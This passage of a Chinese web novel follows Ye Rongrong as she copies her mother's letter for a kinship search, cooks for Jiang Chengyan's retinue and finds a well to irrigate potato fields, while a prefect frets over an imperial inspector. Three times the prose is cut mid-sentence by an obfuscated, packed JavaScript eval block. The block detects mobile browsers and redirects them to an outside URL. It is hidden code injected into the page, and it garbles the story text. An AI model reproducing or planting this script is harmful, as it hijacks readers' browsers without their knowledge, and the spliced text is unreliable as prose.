叶容容走向蒋成晏。他正站在走廊上，负手等着她。 唯独小五眼尖，悄悄捅了捅小六的胳膊，朝走廊那边努了努嘴。两人对视一眼，露出一个心照不宣的笑。 ——主子怎么对叶姑娘这般上心？ ——就是，主子可从没单独叫过我。叫我过去准没好事，不是挨骂就是挨罚。 ——那是你该。 两人靠着默契，用眼神你来我往地交流了一番，手上活计却没停。 蒋成晏见叶容容走近，开口道：“叶姑娘，我正巧要往京城带信。你之前不是说去京城寻亲么？可有什么凭证？我让家里人先帮你打听着。” 叶容容没想到他叫住自己竟是为这事。她原以为蒋公子只答应带她去京城，不曾想还愿意额外帮忙，一时间感激不尽，连忙道谢：“多谢蒋公子。我母亲留了一封信，我这就去找来。” 蒋成晏微微颔首。 叶容容小跑回房间，打开随身的包袱。里面有一封火漆封好的信，是原主的母亲托付给刘婆子让带去京城的。眼下刘婆子已死，寻亲的事便全指着这封信了。 她拆开信封，里面写着薛府许家婆子亲启几个字。信的内容不长，无非是原主母亲的歉意和托付，请许婆婆照看叶容容，在京城给她一个安身之处。若实在不便，便让她回老家去。 叶容容读完，整个人愣住了。 原来自己只是许婆子的一个远房后辈？这亲还有必要去寻？自己一路千辛万苦往京城赶，还有意义吗？ 她原以为原主家境还算殷实，毕竟原主母亲饱读诗书，在村里连体力活都不做，靠教小孩《三字经》和代写书信就能维持温饱。没想到，竟只是这般光景。 一时间，巨大的无力感涌上来。她蹲下身，抱着膝盖，不知道自己这一路走得对不对。 蒋成晏在走廊上等了许久，不见叶容容出来。他皱了皱眉，抬脚走到她房间门口。门没关，他也不便直接闯入，只在门框上轻轻叩了两下。 “叶姑娘，你在吗？” 叶容容听见声音，赶忙站起来，抹了抹眼角，应道：“我在，马上出来。”她拿起信，深吸一口气，推门走了出去。 蒋成晏目光敏锐，一眼便看出她神色与方才判若两人，眼底藏着失落，嘴角却勉强挂着笑。 他从不曾安慰过谁，此刻也寻不出什么妥帖的话，只硬邦邦地开口：“叶姑娘，我是托我母亲的嬷嬷私下帮你打听。若姑娘觉得不妥，便作罢。等日后回了京城，我再带你亲自上门去寻。” 叶容容看着他。 这个素日里冷漠疏离的男人，此刻竟在用一种笨拙的方式照顾她的感受。她心头一暖，失落倒是消了几分。 她思索片刻，道：“我母亲只留下这封信，让我去薛府找一位许家婆子。公子若方便，帮我问问便是。若没有交集，等回了京城，我再去登门拜访。” 薛府？蒋成晏心下微动。 他只知道一个薛府，莫不是首辅家？他垂眸思量片刻，才道：“叶姑娘何不仿照令堂的笔迹，另抄一份信件？我让人去打听。若不是，也不会糟蹋了令堂的亲笔。” 这个法子好。叶容容连忙道谢，转身回屋研墨抄信。 蒋成晏没有离开，依旧站在门外等着。他平生第一次对一个人生出几分怜惜。 他猜想，叶姑娘大抵是那位婆子的远房亲戚。俗话说，宰相门前七品官，谁家还没几门穷亲戚呢。 就算寻不着，凭她的手艺和本事，也绝不是池中之物。大不了，他出钱安置便是。 叶容容不知道蒋成晏还在门口等着。她反复读了原信，确实没什么有用信息，翻来覆去不过是道歉和托付。她只好尽量模仿原主母亲的笔迹，一笔一划地临摹。 模仿别人的字迹颇费工夫。待她写完、吹干、折好，已经过去好一阵了。 她揣着信推开门，一抬头，正对上蒋成晏的目光。 “蒋公子，你……一直在等我？”叶容容有些愧疚，自己耽误了这么久，让人久等了。 蒋成晏没说话，只微微点了点头。 叶容容赶忙递上抄好的信。蒋成晏接过去，收进袖中，转身离开了。 叶容容站在门口望着他的背影，片刻后深吸一口气，抬脚往后院走去。那边的收尾工作，不知做得怎么样了。 自从叶姑娘随自家主子离开之后，众人虽满腹疑惑，手里的活儿却未曾停下。 他们飞快地将最后一点收尾工作做完。 待叶容容回来时，映入眼帘的已是两块整整齐齐的土地，被锄头翻过一遍，土壤显得疏松透气。他们还煞有介事地用竹竿搭了遮阳棚，又打了井水，将土地浇得透透的。 众人正四散在走廊上歇息，见叶容容走过来，纷纷热情地打招呼。 “叶姑娘来了。” “叶姑娘快瞧瞧，我们做得对不对？若有不到之处，还可以改。” 叶容容围着那两块地走了一圈，边走边看，嘴里毫不吝啬地赞叹：“你们做得太好了。若只我一人，怕是两天也弄不完。大家一起动手，一日便成了。” 众人听了这话，嘴上虽说着“举手之劳”，心里却是欢喜的，自己的辛苦得了认可，谁不高兴呢？ 这时，写完信的蒋成晏也来到了后院。他扫了一眼那两块规整的土地，心下微微讶异。 他手下这群人，几时还有这般模样？ 他轻咳一声。 随从们听见动静，扭头一看，纷纷寻了由头开溜。 “哎呀，我的马还没喂，公子我先走了。” “我衣裳破了，回去补一补……” 七嘴八舌，一群人眨眼间便跑得干干净净，只留下叶容容和蒋成晏两个人。 因着方才寻亲的事，叶容容对蒋成晏倒少了几分拘束，竟拿他开起玩笑来：“蒋公子好比那狼来了，您一来，他们全吓跑了。” 蒋成晏被她这俏皮话逗得嘴角微扬，旋即又收了回去，淡淡道：“确实。比起我，他们更愿与温柔的叶姑娘待在一处。” 叶容容被他这么一说，脸颊微微泛红，连忙转移话题：“蒋公子，咱们前期的准备算是做完了。接下来只等土豆长出绿叶，再移栽到田里去。这儿地方太小，不适合长久种。” 蒋成晏算是看出来了，说起这些，叶容容便头头是道，半点不含糊。他点点头： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463686|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “依叶姑娘之见，咱们何时去看田？” 叶容容显得很积极：“我随时都行，看公子方便。” “先让小五去勘察一番，咱们后面再过去定。”蒋成晏道。 叶容容听了，立刻便要去找小五。 蒋成晏见她这般风风火火的模样，眼中闪过一丝不易察觉的笑意，开口唤住她：“急什么？小五又不会跑。叶姑娘多歇息一会儿吧，中午的手艺，着实不错。” 叶容容听出他话里的意思，便问道：“那晚上还是我来掌厨。蒋公子可有什么忌口？” “没有。”蒋成晏道，“缺什么，只管让他们去买便是。” 叶容容便与他告辞，转身去寻人了。 留下蒋成晏一人在走廊上。他也绕着那两块新翻的土地走了一圈。 所有事都安排得井井有条。不知怎的，他心里忽然生出一种念头：在这里住些日子，倒也不错。 却说小六。因蒋成晏没有别的吩咐，他便回了自己房间。他挽起裤脚，露出膝盖，又红又肿，皮都磨破了一层。他办事不力，公子虽未多加苛责，他自己却在石板上硬生生跪了一个时辰。 忽然，门被人敲响了。咚咚咚。 “谁？”小六赶忙将裤腿放下来。 “小六哥，是我。”门外传来苗苗的声音，细声细气的。 “进来吧。”小六松了口气。 苗苗端着一盆热水进来，轻声道：“小六哥，今日见你走路时腿脚不太利落，我给你打了盆热水。敷一敷，会好些。” 小六心里一暖，感激道：“麻烦你了，苗苗。你真是贴心。” 苗苗被他这一夸，耳朵根子都红了。她把热水放好，丢下一句“你好好歇着”，便转身跑了出去。 小六在后面喊：“不坐一会儿么？” 没人应他。 隔壁的小五探出头来，见苗苗红着脸跑远，便踱步过来，随口问道：“坐什么？谁要坐？” 小六不接话，自顾自地拧了热毛巾敷在膝盖上。 小五凑近瞧了一眼那红肿的膝盖，啧啧两声：“你对自己可真够狠的。公子让你自己领罚，你意思意思不就完了？” 小六不理他的幸灾乐祸，将毛巾敷好，往床上一躺，闭着眼道：“我自己犯了错，该罚。” 小五收起嬉皮笑脸，拍了拍他的肩：“别说弟弟不疼你。公子方才让人去城外察看田地，我替你去。再给你捎些吃的回来，补补身子。” “谢了。”小六闭着眼，低声应了一句。 远在府台的知府大人，此刻正在书房里听取下属的禀报。 他听得漫不经心，一边品着茶，一边享受着冰山散出的凉气。天气炎热，他的书房里特地摆了一座冰山降温。 听到“钦差已经到了羌兀县”时，他放下茶杯，冷哼一声：“那个老徐，惯会卖惨。这方圆八百里，又不独他一个县遭了灾。随他去。” 他轻轻抿了一口茶，又问：“这次的钦差，是哪位大臣？” “好像是……蒋国公家的蒋公子。” “什么？”知府的茶杯重重磕在桌上，整个人猛地站了起来，“怎么现在才说！” 12. 让人胃口大开的晚饭 下属赶忙跪下请罪：“属下该死。” 知府气得暴跳如雷，背着手来回踱步：“该死有何用？早做什么去了？” 走了两步，仍觉胸中气闷难平，摆摆手道：“滚下去。” 下属如蒙大赦，慌忙告退。 知府走到书桌前，抽出信纸，提笔写信。他原以为此次不过是内部例行巡查，不曾想朝廷竟派了武将来查，这分明是对地方官员起了疑心。 旁人倒还好应付，这位蒋公子出身将门，要钱有钱，要势有势，寻常手段怕是难以打动。况且蒋国公在朝中根基深厚，若真得罪了他，只怕自己这顶乌纱帽都保不住。 他略一沉吟，三笔两画写好信件，用火漆封了口，唤道：“管家。” 管家悄无声息地出现在门口。知府将信递过去，神情极其严肃：“尽快将此信寄出。再收拾一下，我明日或后日要去受灾各县走一趟。” 啊？慰问？管家心下疑惑，面上却不露分毫，只应了一声：“遵命。” 管家接过信退下后，知府仍坐在书桌前，一言不发地沉默了许久。他反复思量着应对之策，手指无意识地敲击着桌面，发出沉闷的声响。直至冰山化尽，额上沁出汗珠，他才回过神来。 他拭去额汗，起身离开书房。门口候着的小厮忙垂手侍立。知府问道：“夫人现在何处？” “夫人应是在教少爷功课。” “告诉她，我今晚去她那边。” “遵命。” 微胖的知府夫人正在教孩子写字。听到下人通传，她只挥了挥手，示意小厮退下，莫要打扰孩子练字。 小公子听说父亲晚上要来，激动得抬起头：“母亲，我可以一直待到晚上么？我许久未见父亲了。” 夫人温柔地摸了摸孩子的头：“自然可以。我们孩子最是优秀，你父亲见了你写的字，定会夸赞的。” 只是她语气虽温柔，面色却淡淡的，眉宇间隐隐多了几分落寞。她心里清楚，丈夫此番前来，多半不是为了孩子，而是另有所图。 孩子浑然不觉，只顾着欢喜。 天色渐暗，晚饭时辰将至。 中午那顿饭给众人留下了极深的印象，人人都在揣测晚饭还会有何等惊喜。 小五头一回采买食材，见什么都想买，结果堆了满满一厨房。 叶容容大致检视了一番，食材颇为丰富，心中立刻盘算出两道大菜。 虎皮肘子、红烧肉，最后再加一碗解腻的汤。 她拿起从孩童手中买来的野果，空口尝了一颗，酸得眉头紧皱。正好，就用这野果煮个汤罢，酸酸的开胃。 小五接替了小六烧火的差事，全神贯注地往灶膛里添柴。他虽不善厨艺，烧火倒是把好手，火候掌握得恰到好处。 热油烧至微微冒烟，叶容容便将肘子和整块五花肉滑入锅中。热油触及肉块的瞬间，噼啪作响，油花四溅，香气也随之弥漫开来。 待肉皮由肉色转为焦褐，叶容容眼疾手快地将肉捞出，放入早已备好的凉水盆中冷却。 不多时，肘子表皮便浮现出好看的虎皮纹，纹路清晰，色泽金黄，看着便让人食欲大增。 烧火的小五看得目瞪口呆，香，实在太香了。若早遇上叶姑娘，他们何至于啃那么久的干粮。他忍不住深吸了一口气，恨不得把这香气全吸进肺里。 油炸的香气最是直击味蕾。那些假装在院中闲坐、实则偷偷蹲守在厨房门外的众人，早已闻香而动，一个个伸长了脖子往厨房里张望。 “叶姑娘这手艺，当真了得。” “日后离了叶姑娘，咱们可如何是好……” 叶容容捞出泡出虎皮的肘子，置于小锅中以小火慢炖。五花肉则切成小块，入热油锅爆香，煸出油脂，而后猛然加水。 整锅顿时沸腾，噼啪之声混着五花肉天然的脂香，弥漫开来，连前院都闻得到。 烧火的小五不争气地咽了口唾沫。真香啊，光闻而不能食，简直是种折磨。 等待的时光总是漫长。所幸，美味经得起煎熬。 叶容容拍了拍手，宣布可以开饭。一旁守候的众人一拥而上，端着碗争先恐后，生怕落后于人。 一时间饭桌上热闹非凡。这个时代的人对猪肉的做法尚少创新，更遑论先炸后炖这般降维打击的技艺。那虎皮肘子入口即化，肥而不腻；红烧肉色泽红亮，甜咸适口；野果酸汤清新解腻，恰到好处。 面对如此美味，言语反倒成了亵渎。众人只恨不能多生一张嘴来大快朵颐，连平日最讲究仪态的随从也顾不得形象，吃得满嘴流油。 蒋成晏已见识过叶容容的手艺，却未料到平平无奇的猪肉也能做得如此出彩。他平日不甚喜猪肉，嫌其腥膻油腻。 可这道菜入口的刹那，他对猪肉的成见竟烟消云散。肉皮微脆，五花肥而不腻，回味带着一丝咸香。 便是宫中御膳房，怕也难出其右。他不禁多看了叶容容两眼，这女子身上的秘密，当真层出不穷。 一顿饭毕，蒋成晏竟又食之过饱，腹中微微发胀。他的下属们亦不遑多让，险些为争夺盘中最后一块肉而争执起来，最后还是小五眼疾手快抢了去，惹得众人一阵笑骂。 眼见属下们这副模样，蒋成晏面上不动声色，心下却觉有几分失仪。他轻咳一声，属下们这才回过神来，讪讪地端着空碗筷小跑着去厨房收拾。 天色已晚，叶容容起身向蒋成晏告辞。 方才承了人家的情，蒋成晏叫住她：“叶姑娘，我的信已寄出。姑娘且宽心，不论京中是否有此人，我对姑娘的承诺始终不变。” 闻得蒋成晏这般郑重其事的许诺，叶容容心头一暖，向他福了一礼：“多谢公子。” “不必客气。”蒋成晏微微颔首，目送她离去。 叶容容带着满腔暖意回了房间。 苗苗虽听众人说不必她操心厨房，仍担心那些粗手粗脚的人收拾不净，便跟了上去。 行至厨房门口，却被小五拦住：“苗苗，你去歇着吧，这些活儿我们应付得来。”小五站在门边劝道，“小六腿脚不便，我们也没让他沾手。你白日里辛苦了，早些安置罢。” “好吧好吧。”苗苗被他劝了回去。 路过小六房间时，她想问问小六伤势如何，忽又想起天色已黑。 孤男寡女独处，恐惹人闲话。她不过是个丫鬟，小六一看便非寻常之人，还是作罢。 她望了一眼小六房中透出的灯光，默默离去。 房间里，叶容容已收拾妥当准备躺下，见苗苗才回来，随口问道：“你去哪儿了？” 苗苗未提路过小六房间之事，只道：“我想去厨房帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463687|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙，他们把我劝回来了。” 叶容容躺下来：“他们人都挺好，让你歇着便歇着吧。早些睡，明日还要去城外。” 苗苗轻声应了，吹灭了灯。 天刚擦黑，丫鬟们端着一道道菜品，流水般送入房中。 知府夫人望着满桌菜肴，微微蹙眉：“太多了，浪费。” 贴身丫鬟笑嘻嘻地上前挽住她的手臂：“大人难得来一趟，夫人可要认真些才是。” “就是就是。”小公子见满桌都是自己爱吃的菜，眼睛瞪得溜圆，馋涎欲滴。平日母亲管束甚严，不许他一餐品尝过多花样，今日一下子来了这么多，他眼睛都看直了，恨不得每样都尝上一口。 夫人轻轻叹了口气，也罢。瞧着孩子眼馋的模样，她开口道：“大人还未到么？差人去请。” 丫鬟尚未应声，门外已传来动静。 “我来迟了。”知府换了一身常服，踱步而入。 夫人未曾起身相迎，见他到了，只淡淡吩咐开饭。 这一顿饭吃得甚是欢洽。小公子向父亲讲述了许多读书的趣事，父亲一一笑着回应，还不时为他布菜。饭后又带他练了一会儿字，父子俩难得这般亲近。 直至夜色深沉，才命乳母将孩子带回去安寝。 知府夫人从头至尾甚少言语，却也不曾扫兴，只微笑着看孩子享受与父亲难得的亲近时光。只是那笑意始终浮在面上，未曾抵达眼底。 待孩子离去，她脸上的笑意便如潮水般退去。她沉默地坐在梳妆台前，卸下首饰，一件一件，动作缓慢而机械。 知府坐在椅子上自斟自饮。丫鬟欲上前伺候，被他挥手屏退：“都下去罢。” 知府夫人闻得此言，亦无甚反应，只继续卸妆，仿佛屋里只有她一人。 “夫人没有什么要问的么？”知府放下酒杯，率先开口。 “没有。”她语气平淡，连头也未回。 知府听了也不恼怒，自顾自呷了一口茶，缓缓道：“今日来了信。钦差到县上查旱灾了。” 闻听此言，知府夫人手中动作一顿，随即又继续卸妆。她心中那悬着的靴子终于落了地，略带嘲讽道：“大人爱民如子，钦差能查出什么来？大人不用担心。” 知府将茶杯重重搁在桌上，茶水溅了出来：“你现在说这些，除了顶撞我，还有什么用！” 夫人转过脸来，定定地望着她的丈夫，目光里带着几分冷意。她知他今夜前来所为何事，不过是觊觎她娘家的势力罢了。 “大人见谅。”她垂下眼帘，声音不辨喜怒。 知府走上前，一把攥住夫人温润如玉的手，“谁知道这次是不是雷声大雨点小？夫人还是早些写信问问外公家，早做准备罢。” 言毕，也不待夫人回应，转身便走，袍角带起一阵风。 “大人这么晚了，回哪里？”门口候着的小厮问道。 “回书房。” 听得脚步声渐渐远去，知府夫人终于撑不住，双手掩面，低声啜泣起来。泪珠从指缝间滑落。 贴身丫鬟悄无声息地走进来，默默递上帕子，什么也没说，只静静站在一旁。 夫人默默哭了一阵，渐渐收了声。她接过帕子拭去泪痕，深吸一口气，吩咐道：“研墨，我要写信。”语气已恢复如常，听不出方才哭过的痕迹。 13. 情急之下 天色微微亮的时候，叶容容便醒了。她睁眼望向窗外，辨不出时辰，下意识地想摸手表，才恍然意识到，自己早已不在那个时空了。 难得有一回苗苗还未睡醒。叶容容仔细打量起这个陪她一路逃荒的小丫鬟。 瘦瘦小小的一个姑娘，毫无怨言地跟着她走了这么远。想到这里，叶容容心里满是感激。 她小心翼翼翻身下床，动作极轻，想让苗苗多睡一会儿。果然，苗苗未被惊醒。 下床后，她隐约听见外头有动静，便推开窗户向外望去。 原来他们早已起身，正在晨练。一招一式，力道十足，即便手里只是一根树枝，也被使得虎虎生威，与寻常兵器无异。 正在监督众人的蒋成晏察觉到有目光落在自己身上，循着望过去，正看见叶容容从窗后探出头来。 叶容容与他对视，便朝他露出一个浅浅的笑。 蒋成晏从未有过这般经历，下意识想回一个笑，可嘴角还未扬起，叶容容已把窗户关上了。 离他最近的小五最先瞧见这一幕，心里一惊。 大人这是怎么了？那笑容瞧着怪瘆人的。他试图用眼神示意同伴，还没来得及，便被蒋成晏察觉了。 蒋成晏一个眼风扫过来，小五立刻敛了神色，再不敢造次。 房间里，苗苗已经醒了。她见叶容容站在窗边，随口问道：“小姐，你在看什么？” 叶容容放下窗户，转过身来：“蒋公子带着他们在晨练呢。你醒了？我等会儿去后院看看昨天种的土豆。” “可是昨天才种下去，今天能看出什么来？” 叶容容笑了笑：“看不出来什么，不过是图个心安罢了。” 清晨的后院，还不似午间那般炎热。 叶容容欣喜地看着这片土地上。 她来到这个异世界后，亲手种下的第一份希望。 因昨日搭了遮阳棚，土壤未被晒得过干。她蹲下身，抓起一把泥土，握在手里细细感受湿度。又抬头看了看天色，估摸着今日日头不会太毒。 走到井边，打了一桶水上来，只薄薄浇了一层，生怕水多了反倒坏了土豆发芽。 做完这些，她又绕着地走了一圈，这才满意地离开。 太阳渐渐升高，晨练也结束了。众人纷纷来到大堂用饭。 小五趁机汇报了昨日去城外探查的结果。因旱情严重，城中许多人举家外迁，城外大片良田都在低价抛售。 只是缺水，大部分田地已不适合耕种。究竟如何，还得亲自去看过才能定夺。 蒋成晏听完，微微颔首，对小五这番差事颇为满意。他一锤定音：“用完早饭，便去城外看看。” 众人这才依次落座，享受一日中难得的闲暇时光。 饭后，几个随从上前向蒋成晏请示。蒋成晏点了点头，他们便各自离去。 未等叶容容开口询问，蒋成晏已主动道：“他们另有差事。只我们几个去城外。” 叶容容有些意外，蒋成晏竟会主动告知她这些。她看了他一眼。 蒋成晏似乎未曾察觉她的目光，径直走了出去。 城外的景象，比小五描述过的还要荒凉几分。 到处是干涸龟裂的土地，田里尽是枯死的庄稼。靠近水井的地方稍好一些，却也见不到多少活物。无人打理的田地，在燥热的风中扬起带着灰尘的热浪，扑面而来。 叶容容站在田埂上，环顾四周，不由得叹了口气。 蒋成晏看出她的为难，低声问道：“叶姑娘，有何难处？” 叶容容没有立刻回答。她蹲下身，抓起一把泥土细细端详，甚至凑近鼻尖闻了闻，这才道：“还是老问题，缺水。土壤肥力倒是不差，只要有水源，很快便能种出东西来。” 种地这事，确是蒋成晏的盲区。好在他从不瞎指挥。他略一沉吟，只道：“叶姑娘若有需要，随时告诉我。凡我能办到的，定不推辞。” 叶容容道了谢，又转身去察看田地。 土壤肥力没有问题。土豆相对耐旱，可也不能完全无水。她顺着田埂一路往前走，试图找到破局之法。 行至一口水井旁，她停下脚步，俯身打量，又将头探入井口，细察水量。 出乎她的意料，她本以为这井早已干涸，不想里头竟还有一点水。虽只够人喝，远不够浇地，但至少说明此地地下水尚未枯竭。 若能再挖深一些，或者多打几口井…… 撑过这个旱季，等一个月后土豆丰收，便可以大面积推广了。 想到这里，叶容容兴奋起来，最难的一步，总算找到了法子。 “蒋公子，你快看……”她激动地转身叫人，这才发现自己跑得太急，早已将他们甩在了后头。 她赶紧往回跑。 蒋成晏其实看见了她加快脚步的样子，却没有跟上去。他明白，那种全神贯注的状态最忌旁人打扰。好心插上一脚，反倒坏了人家的事。 他的目光追着叶容容的背影，自己寻了处树荫躲日头，顺带和树下乘凉的老伯闲谈起来。话题绕着县令打转，有一搭没一搭的。 老伯靠在树干上，被蒋成晏搭了话，也不抱怨，只是平平淡淡地讲：“县令挺好，不贪。不像前头几任，恨不得把我们骨头都榨出油来卖了。” “不怪旁人，只怪老天不下雨。老天不给活路，怨谁呢？” …… 蒋成晏听在耳中，心里便有了数。 正说着，他看见叶容容朝这边跑来。 阳光下，叶容容逆着光奔跑，身上仿佛镀了一层淡金色的柔光。他第一眼便注意到她那亮晶晶的眼睛，里头满是生机，与她目光相接的一瞬，连周身的疲惫都消散了几分。 她越跑越近，带着一股能感染人的朝气。亮晶晶的眼睛，微微沁出汗珠的额头…… 蒋成晏一时怔住了，连她唤他都未曾听见。 “蒋公子！蒋公子！” 蒋成晏回过神来，略一垂眸，随即抬起：“抱歉，叶姑娘。你如此匆忙，可是发现了什么？” “我寻到一口水井。”叶容容道，“想问问，能不能雇人再挖深一些？或者在那附近再打一口新井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463688|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 蒋成晏闻言，心下松了口气，还以为是什么大事。“可以。只是……”他顿了顿，“我并未看见水井。” 三言两语说不清楚。叶容容情急之下，伸手便去拉蒋成晏。 蒋成晏偏凉的手掌被一只温暖的手握住，他微微一怔，竟忘了抽开，任她拉着自己跑了出去。 今日跟来的是沉默寡言的初一。小五小六另有差事，未曾随行。 初一看见自家主子被一个女子拉着手跑开，难以置信地揉了揉眼睛。他记得自己眼神极好，射箭比试时常拿前三甲的。 这……这是幻觉么？拉主子的手，主子竟没有甩开？ 叶容容拉着蒋成晏一口气跑到水井边，这才意识到自己竟在大庭广众之下牵了他的手。 她连忙松开，连连道歉：“抱歉抱歉，是我唐突了。” 蒋成晏收回手，语气没什么起伏：“叶姑娘情急所致，我不介意。” 只是那渐渐泛红的耳根，到底还是出卖了他。 叶容容并未注意到他泛红的耳根，因为自己也正羞得不行。她一时忘了身处何地，还以为是在现代，随手便拉了异性的手。 她赶紧岔开话题：“是我冒失了。蒋公子请看，就是这口水井。” 蒋成晏也有些窘迫，借着看井的由头，稍稍拉开了与她的距离。 他俯身朝井中望去，并未看出什么特别之处，便看向叶容容，等她开口。 叶容容一说到自己擅长的领域，眼神便不一样了：“据我观察，此地的土壤肥力尚可，症结只在缺水。我原以为处处都已干涸，但这口井里竟还有水。而且挖得不算深便有水，说明此处地下水源并未枯竭。” 她顿了顿，继续道：“眼下有两个法子。其一，将现有水井再挖深一些；其二，另打一口更深的新井。只是这花费……” 蒋成晏听明白了她的顾虑，不假思索道：“叶姑娘只管放手去做。挖井的事，我来安排。” 听到蒋成晏又一次毫无保留地支持自己，叶容容心中感激不尽。 “有了这口水井，我们很快便能走上正轨。” “我自然信得过叶姑娘。” 二人很快商定了方案，只等寻到此地田主，或租或买，便可动手了。 蒋国公府。 信鸽脚程极快，国公夫人已收到了蒋成晏的信。 她用小刀轻轻裁开信封，倒出里头的信笺。一封是给国公爷的，她递给小厮，命人送到前院去。 一封是给自己的。 咦？怎么还有一封？上头写着“王嬷嬷亲启”。王嬷嬷是她的陪嫁婆婆，成晏那孩子自幼与她亲近，可写信给她，这还是头一回。 国公夫人虽心中好奇，仍恪守贵女的教养，不曾拆看，只唤了王嬷嬷过来。 “成晏给你写了封信。” 王嬷嬷接过信，满腹疑惑地拆开。 国公夫人到底没忍住，等到王嬷嬷读完信，问道：“成晏信上说了什么？” “啊……这……”王嬷嬷一脸为难的样子，不知道该不该说。